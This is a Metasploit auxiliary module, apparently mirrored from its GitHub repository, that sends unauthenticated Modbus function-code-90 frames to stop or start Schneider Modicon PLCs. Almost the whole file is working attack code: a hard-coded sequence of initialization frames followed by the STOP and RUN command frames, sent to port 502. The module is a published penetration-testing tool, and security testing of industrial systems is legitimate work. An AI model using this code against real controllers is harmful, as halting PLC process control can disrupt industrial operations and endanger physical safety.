CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/modicon_command.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Schneider Modicon Remote START/STOP Command',
13
'Description' => %q{
14
The Schneider Modicon with Unity series of PLCs use Modbus function
15
code 90 (0x5a) to perform administrative commands without authentication.
16
This module allows a remote user to change the state of the PLC between
17
STOP and RUN, allowing an attacker to end process control by the PLC.
18
19
This module is based on the original 'modiconstop.rb' Basecamp module from
20
DigitalBond.
21
},
22
'Author' =>
23
[
24
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
25
'todb' # Metasploit fixups
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
31
],
32
'DisclosureDate' => '2012-04-05'
33
))
34
register_options(
35
[
36
OptEnum.new("MODE", [true, 'PLC command', "STOP",
37
[
38
"STOP",
39
"RUN"
40
]
41
]),
42
Opt::RPORT(502)
43
])
44
45
end
46
47
# this is used for building a Modbus frame
48
# just prepends the payload with a modbus header
49
def makeframe(packetdata)
50
if packetdata.size > 255
51
print_error("packet too large, sorry")
52
print_error("Offending packet: " + packetdata)
53
return
54
end
55
payload = ""
56
payload += [@modbuscounter].pack("n")
57
payload += "\x00\x00\x00" #dunno what these are
58
payload += [packetdata.size].pack("c") # size byte
59
payload += packetdata
60
end
61
62
# a wrapper just to be sure we increment the counter
63
def sendframe(payload)
64
sock.put(payload)
65
@modbuscounter += 1
66
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
67
return r
68
end
69
70
# This function sends some initialization requests
71
# I have no idea what these do, but they seem to be
72
# needed to get the Modicon chatty with us.
73
# I would make some analogy to 'gaming' in the
74
# bar-dating scene, but I'll refrain.
75
def init
76
payload = "\x00\x5a\x00\x02"
77
sendframe(makeframe(payload))
78
payload = "\x00\x5a\x00\x01\x00"
79
sendframe(makeframe(payload))
80
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
81
sendframe(makeframe(payload))
82
payload = "\x00\x5a\x00\x03\x00"
83
sendframe(makeframe(payload))
84
payload = "\x00\x5a\x00\x03\x04"
85
sendframe(makeframe(payload))
86
payload = "\x00\x5a\x00\x04"
87
sendframe(makeframe(payload))
88
payload = "\x00\x5a\x00\x01\x00"
89
sendframe(makeframe(payload))
90
payload = "\x00\x5a\x00\x0a\x00"
91
(0..0xf9).each { |x| payload += [x].pack("c") }
92
sendframe(makeframe(payload))
93
payload = "\x00\x5a\x00\x04"
94
sendframe(makeframe(payload))
95
payload = "\x00\x5a\x00\x04"
96
sendframe(makeframe(payload))
97
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
98
sendframe(makeframe(payload))
99
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
100
sendframe(makeframe(payload))
101
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
102
sendframe(makeframe(payload))
103
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
104
sendframe(makeframe(payload))
105
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
106
sendframe(makeframe(payload))
107
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
108
sendframe(makeframe(payload))
109
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
110
sendframe(makeframe(payload))
111
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
112
sendframe(makeframe(payload))
113
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
114
sendframe(makeframe(payload))
115
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
116
sendframe(makeframe(payload))
117
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
118
sendframe(makeframe(payload))
119
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
120
sendframe(makeframe(payload))
121
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
122
payload += "USER-714E74F21B" # Yep, really
123
#payload += "META-SPLOITMETA"
124
sendframe(makeframe(payload))
125
payload = "\x00\x5a\x01\x04"
126
sendframe(makeframe(payload))
127
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
128
sendframe(makeframe(payload))
129
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
130
sendframe(makeframe(payload))
131
payload = "\x00\x5a\x01\x12"
132
sendframe(makeframe(payload))
133
payload = "\x00\x5a\x01\x04"
134
sendframe(makeframe(payload))
135
payload = "\x00\x5a\x01\x12"
136
sendframe(makeframe(payload))
137
payload = "\x00\x5a\x01\x04"
138
sendframe(makeframe(payload))
139
payload = "\x00\x5a\x00\x02"
140
sendframe(makeframe(payload))
141
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
142
sendframe(makeframe(payload))
143
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
144
sendframe(makeframe(payload))
145
payload = "\x00\x5a\x01\x04"
146
sendframe(makeframe(payload))
147
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
148
sendframe(makeframe(payload))
149
end
150
151
def stop
152
payload = "\x00\x5a\x01\x41\xff\x00"
153
sendframe(makeframe(payload))
154
payload = "\x00\x5a\x01\x04"
155
sendframe(makeframe(payload))
156
end
157
158
def start
159
payload = "\x00\x5a\x01\x40\xff\x00"
160
sendframe(makeframe(payload))
161
payload = "\x00\x5a\x01\x04"
162
sendframe(makeframe(payload))
163
end
164
165
def run
166
@modbuscounter = 0x0000 # used for modbus frames
167
connect
168
init
169
case datastore['MODE']
170
when "STOP"
171
stop
172
when "RUN"
173
start
174
else
175
print_error("Invalid MODE")
176
return
177
end
178
end
179
end
180
181